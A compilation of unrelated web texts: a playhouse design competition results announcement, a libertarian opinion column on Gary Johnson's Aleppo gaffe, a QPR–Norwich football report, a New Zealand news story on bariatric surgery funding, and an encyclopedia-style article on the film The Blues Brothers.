7. Michelle Borson – while she did not technically have a vote, Michelle certainly contributed to the process by wrangling everybody along because I was too busy telling stories and wasting time. These judging evenings would not run smoothly without her massive contributions as hostess insight. It’s important to note that Michelle has been in these judging events as long as I have and has valuable insight which she shares with the guest judges.
This years final judging round would certainly challenge everybody’s preconceived ideas about what makes a playhouse. Does it need to be an enclosed structure? What function would it serve over time? How would it age? Would people want his in their yard? Would a kid actually want this? How could we build this within the budget constraints and still keep the concept intact? Is it dangerous? Can you get proof of life from afar? These questions and many, many more were asked repeatedly about all the final entries.
In all, the playhouses were reviewed individually by each judge who then picked their top 10 finalists. From those selections, we looked at where their were overlaps – did everyone pick similar entries? Were there an obvious group of winners?
No.
Turns out that everyone was pretty far apart and so we went through the list again and discussed each playhouse using the questions listed above. While that helped narrow down the list, there were still a few that we were having a hard time settling in on.
These were our go-to decision makers – Murphy Sampley, Kate Borson, and Winfield Sampley. While it was difficult for the grownups to select the final 2 entries, it wasn’t for these kids. So it is with great pleasure that I am announcing the 2014 4th Annual Life of an Architect Playhouse Design Competitions Winners!!
(in no particular order)
The Reading Room Designer: Tyler Murph – Dallas, Texas, USA
Bio: Born and raised Dallasite, practicing architecture/design for 16 years, UTA graduate, doing higher education work now but have done corporate, K-12, multifamily, and religious architecture. Musician in my spare time, and secretly wish I was doing modern residential (…or not so secretly).
Surprise me with Something: I can clap with one hand. No really…I can.
“Ellie the Elephant” Playhouse Designer: Andres Moreno – Alexandria, Virginia, USA
Bio: I’m Andres Moreno, and I am originally from Costa Rica. I have been living here in this country for two and half years. I used to be architect in my country but I still working in design on the side. And now I’m seeking an entry-level position or internship that will allow me to apply my considerable professional skills from Costa Rica while also becoming better acquainted with the architecture field in the United States.
Surprise me with something: How to learn Spanish in Costa Rica in ten seconds? Hi: Pura Vida How are You?: Pura Vida I’m fine: Pura Vida Yes: Pura Vida Ok: Pura Vida Thank you: Pura Vida You’re welcome: Pura Vida Bye: Pura Vida “Pura Vida” means literally “pure life” and it’s pronounced like “poorah- beedah”. (No kidding)
Fun Guard Beach House Designer: Susann Stein – Houston, Texas, USA
Bio: This is my second shot for the playhouse competition. When I first read about it in 2013 I thought: what a great idea! This competition combines so many things I love: design, kids, doing something for a good cause… I am an architect from Germany, who also worked in Singapore, Australia and Malaysia. Right now I am living with my family in Houston and can’t wait to design more playhouses, for this competition and for our own backyard. This year I may even be able to see the results in person.
Surprise me with something: Every time I am designing a playhouse for this competition I am expecting a baby. Or is it that every time I am expecting a baby I design a playhouse?
Runners UP
And as always, we want to include some honorable mentions and create a pool of “Runners up”. These are playhouses that – should one of the winners above not be able to be reached – will step in and take their place as a built playhouse. They are (in order):
La Cabana Designer: Patrick Beck and Madeline Gonzalez – Miami, Florida, USA
Bio: We’re a team of two architecture students (Patrick Beck and Madeline Gonzalez) at the University of Miami. This playhouse is inspired by the fun, tropical-vernacular houses of Key West and the Bahamas. Patrick enjoys sailing on Biscayne Bay and woodworking, while Madeline is interested in graphic design, steampunk and rose cacti.
CloudHouse Designer: Valeria Pestereva – Russia
Bio: I graduated from Moscow architecture university 2 years ago and immediately after graduation, I worked as an intern in Spain, Granada for two month, and then moved on to worked in Beijing for a year (as an intern first, later as junior architect. The year I spent in China was a tough challenge and has changed me a lot, I’m currently learning Chinese. Architecture competitions are what I do when I’m not working.
Fire House Designer: Riaan Kotze – Fitchburg, Massachusetts, USA
Bio: 30-something designer working in Boston. I was conceived, born and raised in South Africa. Immigrated to USA 3 years ago. My wife is and American, but we met in West Africa. I have an 9 month old son, he is the bomb. I wonder what I am in for because he is a lot like me…..aaaaaarrrrrrrghhh!
Surprise me with something: I hate snow, but with a laminated board attached to my feet, I seem a lot happier.
Congratulations to the winners and I would like to extend a heartfelt Thank You! to everyone who took the time to participate in this competition. There are so many worthy entries that get submitted that I am going to institute a new rule – if your entry makes it in to the Final Judging Round, it will automatically be entered again in next years competition, and I am going to put this in place retroactively for the last three years. I know that with a different batch of judges, the outcome would have looked different and there’s no reason why we shouldn’t consider these amazing entries from year to year.
I will be sending out an email to the winners to let them know that they are now on the clock for preparing their construction drawings ( … you probably thought the fun had come to an end too quickly).
Finally, (in case you are new to Life of an Architect – here is a little information on Dallas CASA, and the volunteers that donate their time to abused and neglected children – these are the people these marvelous playhouses will benefit)
Dallas CASA (which stands for Court Appointed Special Advocates) is a nonprofit organization of community volunteers trained and supervised to serve as voices in court for abused and neglected children. On any day in Dallas County, there are nearly 2,000 children waiting for a safe place to live. Many times the CASA volunteer is the only constant in the child’s life during this very difficult process. Parade of Playhouses raises funds for Dallas CASA to continue serving more children who need safe, permanent homes where they can thrive.
Cheers!(From left: Gage Skidmore/Flickr; Joshua Roberts, Bryan Woolston/Reuters)
There’s no doubt about it: Governor Gary Johnson asking “What is Aleppo?” during a national television interview was an atrocious, humiliating mistake for him to make.
I’m a libertarian. I know Gary Johnson; I like him, and yet even I had to criticize him for it, so I wasn’t surprised to see so much of the media being critical, too. After all, it was a really bad gaffe, so I thought that all the criticism was fair.
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At least at first I did.
Eventually, all of the piling on started to seem like a bit much, particularly when I started seeing so many people say that Johnson’s comment was “disqualifying.”
At a point, I thought to myself, “Wait, didn’t Donald Trump not know what Brexit was?”
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Now, in case you’ve forgotten about this exchange, let me refresh your memory. It was during an interview with Michael Wolff of The Hollywood Reporter earlier this summer, and it went like this:
Wolff: “And Brexit? Your position?” Trump: “Huh?” Wolff: “Brexit.” Trump: “Hmm.” Wolff: “The Brits leaving the EU.”
Brexit was dominating the headlines all around the world, and yet Trump could only answer a question about it after being told what it even was.
Of course, Trump used verbal pauses to avoid the question until Wolff helped him out, while Johnson outright admitted that he was totally confused — which is something that any media trainer would tell you not to do. Trump handled it better, but it should still be clear to any intelligent observer that he was equally as stumped. The difference between these two situations one of TV-interviewing skills and not one of current-events knowledge.
What’s more, Trump’s Brexit flub was far from the only time he’s displayed a lack of awareness about what’s going on around the world. Last year, when Hugh Hewitt asked him about the leaders of ISIS, he quite clearly knew next to nothing about any of it. When Hewitt asked him about the Quds, Trump got them confused with the Kurds, later claiming, of course, to have “misheard.”
Trump’s Brexit flub was far from the only time he’s displayed a lack of awareness about what’s going on around the world.
Now many people — myself included — have said the reason that Johnson’s mistake was so bad is because Aleppo is mentioned in almost every article about the Syrian crisis, and therefore, not recognizing it makes it look as though you aren’t very familiar with the issue. But here’s the thing: Just as it’s hard to read about Syria without hearing about Aleppo, it’s also hard to read about it without hearing about ISIS’s leadership or the Quds force. Trump’s supporters don’t seem to think this means he knows nothing about ISIS, and they don’t think it’s disqualifying.
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While we’re at it, let’s have a look at Hillary Clinton, the captain of team “I Don’t Know.” She and her supporters replied “I don’t know” a whopping 327 times during her e-mail investigation. Let’s assume, for a moment, that what her supporters have been saying about this is true: That she really was telling the truth about her e-mails. That would mean that she, as the Secretary of State — a job that centers around handling confidential, classified information — didn’t know the proper markings for confidential, classified information. It would mean that she also didn’t know that discussions about potential drone strikes — that is, possible military operations — would be sensitive information.
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Now, personally, I don’t believe for a second that Hillary Clinton didn’t know these things. But |
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Olsson's early dismissal handed the hosts the upper hand and, after Chery screwed his spot-kick wide, Rangers took the lead through a close-range finish from Northern Ireland international Washington.
Norwich winger Jacob Murphy hit the crossbar in the second half and then set up Naismith, whose header gave the visitors hope of a comeback.
However, City were unable to find a late equaliser, allowing Holloway to end Rangers' run of three games without a win on his return to west London.
QPR manager Ian Holloway: "We got a lot of things wrong and I could see a lack of belief after Norwich scored. We stopped passing and using the extra man.
"But I was looking for character and I know we have it. Long may that continue.
"To win games at this level you always need a bit of luck. All teams will have minutes (of pressure) no matter how many players they have on the pitch."
Norwich manager Alex Neil: "The fans will be frustrated and annoyed and I understand that. My job is to win games. All I can say is that I am working extremely hard to turn things around and so are the players.
"I thought they worked extremely hard and kept going until the last minute. We did better in the second half.
"You're looking to stick to the task and not concede sloppy goals, and then as the game goes on maybe quieten the crowd. But once we conceded that goal it's difficult.
"The two goals we conceded in the first half made it too easy for QPR."
New QPR boss Ian Holloway received a warm reception at Loftus Road prior to kick-off
Martin Olsson's handball meant Norwich went down to 10 men inside two minutesNew Zealand is on target to become the fattest nation on earth within five years, according to a weight loss surgeon.
Steven Kelly, whose editorial appears in The New Zealand Medical Journal today, said stomach stapling operations were effective and saved money in the long run but the Government was not providing enough of the life-saving procedures.
Photo: AFP / AGU / Science Photo Library
The Canterbury bariatric surgeon said on current trends, New Zealand was about to overtake the United States and Mexico to become the world's fattest nation.
"America, which is currently the fattest, has actually been stable in terms of obesity rates for the last ten years whereas ours continues to grow at one percent a year."
Mr Kelly said there were just 400 publicly funded stomach stapling operations in New Zealand last year - less than half of the number recommended six years ago.
That was despite the fact the operations, which cost about $20,000 each, saved the health system money long term.
"It's the only operation that you can do that saves you money, so in my mind, it's a no-brainer."
'Life-changing'
A bariatric surgery patient told Radio New Zealand the operation changed her life.
Anne Jowett had weight-loss surgery at Wellington Hospital in mid 2013, when she weighed 154kg and had developed diabetes.
She said her weight was now down to 112kg and she no longer needed diabetes medication.
"My health has just improved unbelievably my liver function is good, my kidneys are good and my blood pressure is perfect."
Mrs Jowett said she had tried dieting first, but it failed - partly because the diabetes medications made her hungry.
"I think because the bariatric surgery basically turned off the diabetes... my metabolism fell into place. No other diet can do that - nothing else can do that."
Funding boosted
Health Minister Jonathan Coleman said the Government's focus would remain on preventing obesity rather than trying to keep up with the demand for weight-loss surgery.
Mr Coleman said 399 of the surgeries were undertaken in the 2013-2014 financial year.
He said the procedures were available for those most in need but there would always be more demand than that.
"We are never going to be able to do enough surgery to keep up with demand for bariatric surgery, so you know I'm really interested in long term solutions to the problem."
Mr Coleman said the Government's wanted to focus on children and preventing them from becoming overweight in the first place.
Over the past four years, the Government has topped up hospital budgets by $8 million to boost stomach stapling for the morbidly obese.
It added a further $10 million in the last Budget, to help provide at least 480 operations over the next four years.
A Wellington bariatric surgeon, Simon Bann, said more should be done.
"We need people to be made aware of obesity and its causes and how they can prevent it.
"But we have a whole generation that have that problem now that the only treatment unfortunately is surgery.
"We don't have a medical treatment that will lead to sustained weight loss."
The head of internal medicine at Auckland Hospital, Robyn Toomath, said morbidly obese people had serious problems and deserved better treatment.
Dr Toomath, also spokesperson for lobby group Fight the Obesity Epidemic, told Morning Report she saw patients in hospital who had medical problems "on a par with people with cancer" and needed the surgery years ago.
She said fat-shaming did not help morbidly obese people lose weight - but more gastric surgery would. Dr Toomath said not enough publicly funded surgery was being done to help those most at risk.
Responding to an editorial in the Medical Journal, Dr Toomath said the argument that very overweight people needed to take personal responsibility for losing weight did not wash.
She has long been an advocate of social measures aimed at preventing obesity but said by the time people are morbidly obese - that is with a body mass index of more than 40 - going on a diet was often not enough.
And for most people, she said, an operation was a difficult last resort.
Dr Toomath said those with serious health problems should be demanding the surgery but were often too ashamed to.
Prevention
However, an anti-obesity campaigner, Professor Boyd Swinburn, said funding more operations should not come at expense of programmes aimed at preventing obesity.
"I would like to see a lot more emphasis on prevention... part of that comprehensive plan could well be an increase in bariatric surgery, but let's look at that in the total context of what we're going to do about obesity."
The Health Ministry's elective surgery manager, Clare Perry, said in the 2013/14 year, there were 399 state-funded bariatric surgeries, up from 131 in 2007/08.
She said the Ministry did not impose a limit on the number of stomach stapling operations a health board could carry out but it was up to health boards to decide how to spend their elective surgery budget.
"Locally, DHBs work to understand their community/population needs, and align funding and services to best match these."
She said the number of operations would increase as DHBs lifted capacity.The Blues Brothers is a 1980 American musical comedy film directed by John Landis.[4] It stars John Belushi and Dan Aykroyd as "Joliet" Jake and Elwood Blues, characters developed from "The Blues Brothers" recurring musical sketch on the NBC variety series Saturday Night Live. The film's screenplay was written by Aykroyd and Landis. It features musical numbers by rhythm and blues (R&B), soul, and blues singers James Brown, Cab Calloway, Aretha Franklin, Ray Charles, and John Lee Hooker. The film is set in and around Chicago, Illinois, where it was filmed. It features non-musical supporting performances by Carrie Fisher, Henry Gibson, Charles Napier and John Candy.
The story is a tale of redemption for paroled convict Jake and his blood brother Elwood, who set out on "a mission from God" to save the Catholic orphanage in which they were raised from foreclosure. To do so, they must reunite their R&B band and organize a performance to earn $5,000 needed to pay the orphanage's property tax bill. Along the way, they are targeted by a homicidal "mystery woman", Neo-Nazis, and a country and western band—all while being relentlessly pursued by the police.
Universal Studios, which had won the bidding war for the film, was hoping to take advantage of Belushi's popularity in the wake of Saturday Night Live, Animal House, and the Blues Brothers' musical success; it soon found itself unable to control production costs. The start of filming was delayed when Aykroyd, new to film screenwriting, took six months to deliver a long and unconventional script that Landis had to rewrite before production, which began without a final budget. On location in Chicago, Belushi's partying and drug use caused lengthy and costly delays that, along with the destructive car chases depicted onscreen, made the final film one of the most expensive comedies ever produced.
Concerns that the film would fail limited its initial bookings to less than half those a film of its magnitude normally received. Released in the United States on June 20, 1980, it received mostly positive reviews. It earned just under $5 million in its opening weekend and went on to gross over $115 million in theaters worldwide before its release on home video. It has become a cult classic, spawning the sequel, Blues Brothers 2000, 18 years later, which was a critical and commercial failure.
Plot [ edit ]
Blues vocalist and petty criminal "Joliet" Jake Blues (John Belushi) is paroled on good behavior grounds from Joliet Correctional Center after serving a three year sentence, and is picked up by his blood brother Elwood (Dan Aykroyd) in his Bluesmobile, a battered, decommissioned police car. Elwood demonstrates its capabilities by jumping an open drawbridge. The brothers visit the Roman Catholic orphanage where they were raised, and learn from Sister Mary "the Penguin" Stigmata (Kathleen Freeman) and old friend Curtis (Cab Calloway) that it will be closed unless $5,000 in property taxes is collected. During a sermon by the Reverend Cleophus James (James Brown) at the Triple Rock Baptist Church, Jake has an epiphany: they can re-form their band, "The Blues Brothers" – which disbanded while Jake was in prison – and raise the money to save the orphanage.
That night, state troopers attempt to arrest Elwood for driving with a suspended license due to 116 parking tickets and 56 moving violations. After a high-speed chase through the Dixie Square Mall, the brothers escape and go to the flophouse where Elwood lives, miraculously escaping a rocket launcher attack by a mysterious woman (Carrie Fisher). The next morning, as the police arrive at the house, the woman detonates a bomb that demolishes the building, but miraculously leaves Jake and Elwood unharmed, and saves them from being arrested.
Jake and Elwood begin tracking down members of the band. Five of them are playing a Holiday Inn lounge, and quickly agree to rejoin. Another, "Mr. Fabulous", turns them down as he is the maître d' at expensive restaurant "Chez Paul", but the brothers, coming to the restaurant and starting doing impolite actions, refuse to leave the restaurant until he relents. On their way to meet the final two band members, the brothers find the road through Jackson Park blocked by an "American Socialist White People's Party" – "the Illinois Nazis" – demonstration on a bridge; Elwood runs them off the bridge into the East Lagoon. The last two band members, Matt "Guitar" Murphy and "Blue Lou" Marini, who now run a soul food restaurant, rejoin the band against the advice of Murphy's wife (Aretha Franklin). The reunited group obtain instruments and equipment from Ray's Music Exchange in Calumet City, and Ray (Ray Charles), "as usual", takes an IOU.
As Jake attempts to book a gig, the mystery woman blows up the phone booth he is using; once again, he is miraculously unhurt. The band stumbles into a gig at Bob's Country Bunker, a local honky-tonk. They win over the rowdy crowd, but run up a bar tab higher than their pay, and infuriate the country band that was actually booked for the gig, the Good Ole Boys.
Copy of the "Bluesmobile", the car the Blues Brothers use in the film.
Realizing that they need one big show to raise the necessary money, the brothers persuade their old agent to book the Palace Hotel Ballroom, north of Chicago. They mount a loudspeaker atop the Bluesmobile and drive the Chicago area promoting the concert—and alerting the police, the Nazis, and the Good Ole Boys of their whereabouts. The ballroom is packed with blues fans, police officers, and the Good Ole Boys. Jake and Elwood perform two songs, then sneak offstage, as the tax deadline is rapidly approaching. A record company executive offers them a $10,000 cash advance on a recording contract—more than enough to pay off the orphanage's taxes and Ray's IOU—and then shows the brothers how to slip out of the building unnoticed. As they make their escape via a service tunnel, they are confronted by the mystery woman: Jake's vengeful ex-fiancée. After her volley of M16 rifle bullets leaves them miraculously unharmed, Jake offers a series of ridiculous excuses that she accepts, allowing the brothers to escape to the Bluesmobile.
Jake and Elwood race back toward Chicago with dozens of state/local police and the Good Ole Boys in pursuit. They eventually elude them all with a series of improbable maneuvers, including a miraculous gravity-defying escape from the Illinois Nazis. At the Richard J. Daley Center, they rush inside the adjacent Chicago City Hall building, soon followed by hundreds of police, state troopers, SWAT teams, firefighters, Illinois National Guardsmen, and the Military Police. Finding the office of the Cook County Assessor, the brothers pay the tax bill. Just as their receipt is stamped, they are arrested by the mob of law officers. In prison, the band plays "Jailhouse Rock" for the inmates, accompanied by some cast members and the "crew", as the first credits roll.
Cast [ edit ]
Production [ edit ]
Origins [ edit ]
The characters, Jake and Elwood Blues, were created by Belushi and Aykroyd in performances on Saturday Night Live. The name "The Blues Brothers" was the idea of Howard Shore. The fictional back story and character sketches of blood brothers Jake and Elwood were developed by Aykroyd in collaboration with Ron Gwynne, who is credited as a story consultant for the film. As related in the liner notes of the band's debut album, Briefcase Full of Blues, the brothers grew up in an orphanage, learned the blues from a janitor named Curtis, and sealed their brotherhood by cutting their middle fingers with a steel string said to have come from the guitar of Elmore James.[5]
Belushi had become a star in 1978 as a result of both the Blues Brothers' musical success and his role in National Lampoon's Animal House. At one point, he managed the triple feat of being the star of the week's top-grossing film, top-rated television show, and singing on the number-one album within a year. When Aykroyd and Belushi decided they could make a Blues Brothers film, the bidding war was intense. Universal Studios narrowly beat Paramount Pictures for the project. John Landis, who had directed Belushi in Animal House, was aboard as director.[6]
However, the project had neither a budget nor a script. On the former issue, Universal head Lew Wasserman thought the film could be made for $12 million; the filmmakers wanted $20 million. It would be impossible to settle on a specific amount without a screenplay to review, and after Mitch Glazer declined to help him, Aykroyd wrote one on his own.[6]
Aykroyd had never written a screenplay before, as he admitted in the 1998 documentary, Stories Behind the Making of The Blues Brothers, or even read one, and he was unable to find a writing partner. Consequently, he put together a very descriptive volume that explained the characters' origins and how the band members were recruited. His final draft was 324 pages, which was three times longer than a standard screenplay, written not in a standard screenplay format, but more like free verse.[6] To soften the impact, Aykroyd made a joke of the thick script and had it bound with the cover of the Los Angeles Yellow Pages directory for when he turned it in to producer Robert K. Weiss. He titled it The Return of the Blues Brothers, and credited it to "By Scriptatron GL-9000".[7] Landis was given the task of editing the script into a usable screenplay,[8] which took him about two weeks.[6]
Casting [ edit ]
At Aykroyd's demand, soul and R&B stars James Brown, Cab Calloway, Ray Charles and Aretha Franklin were cast in speaking parts to support musical numbers built around them. This caused friction between Landis and Universal later in the production, as its costs far exceeded the original budget. Since none of them except Charles had had any hits in recent years, the studio wanted the director to replace them with or add performances by younger acts, such as Rose Royce, whose "Car Wash" had made them disco stars after its use in the 1976 film of that name.[6]
Other musicians in the cast include Big Walter Horton, Pinetop Perkins, and John Lee Hooker (who performed "Boom Boom" during the Maxwell Street scene). The members of The Blues Brothers band are notable for their musical accomplishments, as well. Steve Cropper and Donald Dunn are architects of the Stax Records sound (Cropper's guitar can be heard at the start of the Sam & Dave song "Soul Man") and were half of Booker T. & the M.G.'s. Horn players Lou Marini, Tom Malone, and Alan Rubin had all played in Blood, Sweat & Tears and the Saturday Night Live band. Drummer Willie Hall had played in The Bar-Kays and backed Isaac Hayes. Matt Murphy is a veteran blues guitarist. As the band developed at Saturday Night Live, pianist Paul Shaffer was part of the act and was cast in the film. However, due to contractual obligations with SNL, he was unable to participate, so actor-musician Murphy Dunne (whose father, George Dunne, was the Cook County Board President) was hired to take his role.[8]
Fisher, Freeman, Gibson, and Candy were cast in non-musical supporting roles. The film is also notable for the number of cameo appearances by established celebrities and entertainment-industry figures, including Steve Lawrence as a booking agent, Twiggy as a "chic lady" in a Jaguar convertible whom Elwood propositions at a gas station, Steven Spielberg as the Cook County Assessor's clerk, John Landis as a state trooper in the mall chase, Paul Reubens (before Pee-wee Herman) as a waiter in the Chez Paul restaurant scene, Joe Walsh in a cameo as the first prisoner to jump up on a table in the final scene, and Chaka Khan as the soloist in the Triple Rock choir. Muppet performer Frank Oz plays a corrections officer, and in the scene where the brothers crash into Toys R Us, a Grover and Kermit the Frog toy can be spotted and a customer (played by stunt coordinator Gary McLarty) asks the cashier if they have a Miss Piggy doll, a Muppet character that is voiced by Oz. Singer/songwriter Stephen Bishop is a deputy sheriff who complains that Jake and Elwood broke his watch (a result of the car chase in the mall). Makeup artist Layne Britton is the old card player who asks Elwood, "Did you get me my Cheez Whiz, boy?" The character portrayed by Cab Calloway is named Curtis as an homage to Curtis Salgado, a Portland, Oregon, blues musician who inspired Belushi while he was in Oregon filming Animal House.[9]
Over 500 extras were used for the next-to-last scene, the blockade of the building at Daley Center, including 200 National Guardsmen, 100 state and city police officers, with 15 horses for the mounted police (and three each Sherman tanks, helicopters, and fire engines).[10][11]
Filming [ edit ]
Principal photography began in July 1979, with the film's budget still not settled. For the first month, things ran smoothly on and off the set. When Weiss saw the supposedly final $17.5 million budget, he reportedly joked, "I think we've spent that much already."[6]
In the next month, the production began falling behind schedule. Much of the delay was due to Belushi's partying and carousing. When not on the set, he went out to his familiar Chicago haunts such as Wrigley Field and the Old Town Ale House. People often recognized him and slipped him cocaine, a drug he was already using heavily on his own, hoping to use it with him. "Every blue-collar Joe wants his John Belushi story", said Smokey Wendell, who was eventually hired to keep it away from the star. As a result of his late nights and drug and alcohol use, Belushi would often miss unit calls (the beginning of a production day) or go to his trailer after them and sleep, wasting hours of production time. One night, Aykroyd found him crashing on the sofa of a nearby house, where Belushi had already helped himself to food in the refrigerator.[6]
Cocaine was already so prevalent on the set (like many other film productions of that era) that Aykroyd, who used far less than his partner, claims a section of the budget was actually set aside for purchases of the drug during night shooting. The stars had a private bar, the Blues Club, built on the set, for themselves, crew, and friends. Carrie Fisher, Aykroyd's girlfriend at the time, said most of the bar's staff doubled as dealers, procuring any drug patrons desired.[6]
The original budget was quickly surpassed, and back in Los Angeles, Wasserman grew increasingly frustrated. He was regularly confronting Ned Tanen, the executive in charge of production for Universal, in person over the costs. Sean Daniel, another studio executive, was not reassured when he came to Chicago and saw the production had set up a special facility for the 70 cars used in the chase sequences. Filming there, which was supposed to have concluded in the middle of September, continued into late October.[6]
On the set, Belushi's drug use worsened. Fisher, who herself later struggled with cocaine addiction, said Landis told her to keep Belushi away from the drug. Wendell was hired to clear any from the places Belushi visited off-camera. Nevertheless, at one point, Landis found Belushi with what he described as a "mountain" of cocaine on a table in his trailer, which led to a tearful confrontation in which Belushi admitted his addiction and feared it could eventually kill him.[6]
After Belushi's wife Judy and Aykroyd had a talk with Belushi about his antics, the production returned to Los Angeles. Filming there again ran smoothly, until it came time to shoot the final sequence at the Hollywood Palladium. Just beforehand, Belushi fell off a borrowed skateboard and seriously injured his knee, making it unlikely he could go through with the scene, which required him to sing, dance, and do cartwheels. Wasserman persuaded the city's top orthopedic surgeon to postpone his weekend plans long enough to stop by and sufficiently anesthetize Belushi's knee, and the scene was filmed as intended.[6]
Locations [ edit ]
Much of the film was shot on location in and around Chicago between July and October 1979, including Joliet Correctional Center in nearby Joliet, Illinois and Wauconda, Illinois, where the car crashes into the side of Route 12.[12] Made with the cooperation of Mayor Jane M. Byrne, it is credited for putting Chicago on the map as a venue for filmmaking.[13] Nearly 200 movies have been filmed in Chicago. "Chicago is one of the stars of the movie. We wrote it as a tribute", Dan Aykroyd told the Chicago Sun-Times in an article written to mark the film's 25th-anniversary DVD release.[14]
The Bluesmobile races through the mall while being chased by state troopers.
The first traffic stop was in Park Ridge, Illinois. The shopping mall car chase was filmed in the real, albeit shuttered, Dixie Square Mall, in Harvey, Illinois.[15] The bridge jump was filmed on an actual drawbridge, the 95th Street bridge over the Calumet River, on the southeast side of Chicago. The main entrance to Wrigley Field (and its sign reading "Save lives. Drive safely, prevent fires.") makes a brief appearance when the "Illinois Nazis" visit it after Elwood falsely registers the ballpark's location, 1060 West Addison, as his home address on his driver's license. (Elwood's Illinois driver's license number is an almost-valid encoded number, with Dan Aykroyd's own birth date embedded.) Jake's final confrontation with his girlfriend was filmed in a replica of a section of the abandoned Chicago freight tunnel system. The other chase scenes included lower Wacker Drive, Lake Street, and Richard J. Daley Center.[16]
In the final car chase scene, the production actually dropped a Ford Pinto, representing the one driven by the "Illinois Nazis", from a helicopter at an altitude of about 1,200 feet—and had to gain a Special Airworthiness Certificate from the Federal Aviation Administration to do it.[17][18] The FAA was concerned that the car could prove too aerodynamic in a high-altitude drop, and pose a threat to nearby buildings.[19] The shot leading up to the car drop, where the "Illinois Nazis" drive off a freeway ramp, was shot in Milwaukee, Wisconsin, near the Hoan Bridge on Interstate 794. The Lake Freeway (North) was a planned but not completed six-lane freeway, and I-794 contained an unfinished ramp off which the Nazis drove.[20] Several Milwaukee skyscrapers are visible in the background as the Bluesmobile flips over, notably the U.S. Bank Center.
Richard J. Daley Center is Chicago's premier civic center and features a massive sculpture by Pablo Picasso.
The Palace Hotel Ballroom, where the band performs its climactic concert, was at the time of filming a country club, but later became the South Shore Cultural Center, named after the Chicago neighborhood where it is located. The interior concert scenes were filmed in the Hollywood Palladium.[21]
The filming in downtown Chicago was conducted on Sundays during the summer of 1979, and much of the downtown was cordoned off from the public. Costs for filming the largest scene in the city's history totaled $3.5 million.[10] Permission was given after Belushi and Aykroyd offered to donate $50,000 to charity after filming.[10] Although the Bluesmobile was allowed to be driven through the Daley Center lobby, special breakaway panes were temporarily substituted for the normal glass in the building.[10][22] The speeding car caused $7,650 in damage to 35 granite paver stones and a bronze air grille in the building.[10] Interior shots of the elevator, staircase, and assessor's office were all recreated in a film set for filming.[10]
Bluesmobile [ edit ]
The film used 13 different cars bought at auction from the California Highway Patrol to depict the retired 1974 Mount Prospect, Illinois Dodge Monaco patrol car. The vehicles were outfitted by the studio to do particular driving chores; some were customized for speed and others for jumps, depending on the scene. For the large car chases, filmmakers purchased 60 police cars at $400 each, and most were destroyed at the completion of the filming.[23] More than 40 stunt drivers were hired, and the crew kept a 24-hour body shop to repair cars.[23]
For the scene when the Blues Brothers finally arrive at the Richard J. Daley Center, a mechanic took several months to rig the car to fall apart.[23] At the time of the film's release, it held the world record for the most cars destroyed in one film until it was surpassed by its own sequel.[23]
Landis' difficulties continued even after principal photography was completed. The first cut of the film lasted two and a half hours, with an intermission. After one early screening, Wasserman demanded it be shortened, and 20 minutes were cut. The film's final budget was $27.5 million (equivalent to $83.6 million in 2018), $10 million over its original budget.[6]
Prospects for a successful release did not look good. Aykroyd and Belushi had left SNL at the end of the previous season, reducing their bankability. Belushi's fame had taken a further hit after the commercial and critical failure of 1941 at the end of the year. One day after the editing was done, Wasserman invited Landis up to his office to speak with Ted Mann, head of the Mann Theatres chain, which dominated film exhibition in the Western United States. He told Landis that he would not book the film at any theaters in predominantly white neighborhoods, such as Westwood. Not only did Mann not want black patrons going there to see the film,[citation needed][24] he surmised that white viewers were unlikely to see a film featuring older black musical stars. Ultimately The Blues Brothers got less than half the bookings nationwide for its initial release than a typical big-budget studio film of the era, which did not bode well for its success at the box office.[6]
Reception [ edit ]
Box office [ edit ]
The Blues Brothers opened on June 20, 1980, with a release in 594 theaters. It took in $4,858,152, ranking second for that week (after The Empire Strikes Back) and 10th for the entire year. Over the years, it has retained a following through television and home video. The film in total grossed $57,229,890 domestically and $58,000,000 in foreign box offices for a total of $115,229,890.[3] By genre, it is the ninth-highest grossing musical and the 10th-highest earner among comedy road movies. It ranks second, between Wayne's World and Wayne's World 2, among films adapted from Saturday Night Live sketches.[3] Director John Landis claimed The Blues Brothers was also the first American film to gross more money overseas than it did in the United States.[14]
Critical reception [ edit ]
The Blues Brothers received mostly positive reviews from critics. On Rotten Tomatoes, the film has an 85% "Certified Fresh" rating, based on 53 reviews, with an average rating of 7.1/10. The site's critical consensus reads, "Too over the top for its own good, but ultimately rescued by the cast's charm, director John Landis' grace, and several soul-stirring musical numbers."[25] It won the Golden Reel Award for Best Sound Editing and Sound Effects,[26] is 14th on Total Film magazine's "List of the 50 Greatest Comedy Films of All Time"[27] and is number 69 on Bravo's "100 Funniest Movies".[28]
Roger Ebert of the Chicago Sun-Times gave the film three out of four stars, praising it for its energetic musical numbers and said the car chases were "incredible" if so over-the-top that they finally became numbing. Ebert further noted "Belushi and Aykroyd come over as hard-boiled city guys, total cynics with a world-view of sublime simplicity, and that all fits perfectly with the movie's other parts. There's even room, in the midst of the carnage and mayhem, for a surprising amount of grace, humor, and whimsy."[29] In his review for The Washington Post, Gary Arnold criticized Landis for engorging "the frail plot of The Blues Brothers with car chases and crack-ups, filmed with such avid, humorless starkness on the streets of Chicago that comic sensations are virtually obliterated".[30] Time magazine's Richard Corliss wrote, "The Blues Brothers is a demolition symphony that works with the cold efficiency of a Moog synthesizer gone sadistic".[31]
Janet Maslin of The New York Times criticized the film for shortchanging viewers on more details about Jake and Elwood's affinity for African-American culture. She also took director Landis to task for "distracting editing", mentioning the Soul Food diner scene in which saxophonist Lou Marini's head is out of shot as he dances on the counter.[32] In the documentary, Stories Behind the Making of The Blues Brothers, Landis acknowledges the criticism, and Marini recalls the dismay he felt at seeing the completed film.
Kim Newman, writing for Empire in 2013, considered The Blues Brothers to be "an amalgam of urban sleaze, automobile crunch and blackheart rhythm and blues" with "better music than any film had had for many years". He noted that Belushi and Aykroyd pack in their heroes: "Aretha storming through 'Think', Cab Calloway cruising through 'Minnie the Moocher', John Lee Hooker boogying through 'Boom Boom' and Ray Charles on electric piano, not to mention the hottest band." He observed that "the picture had revived the careers of virtually all the musicians that appeared in it" and concluded "it still sounds great and looks as good as ever through Ray Bans".[33]
On the 30th anniversary, L'Osservatore Romano,[34] the daily newspaper of Vatican City State, wrote that the film is filled with positive symbolism and moral references that can be related to Catholicism. They went further, stating, The Blues Brothers "is a memorable film, and, judging by the facts, a Catholic one."[35]
Cult-film status [ edit ]
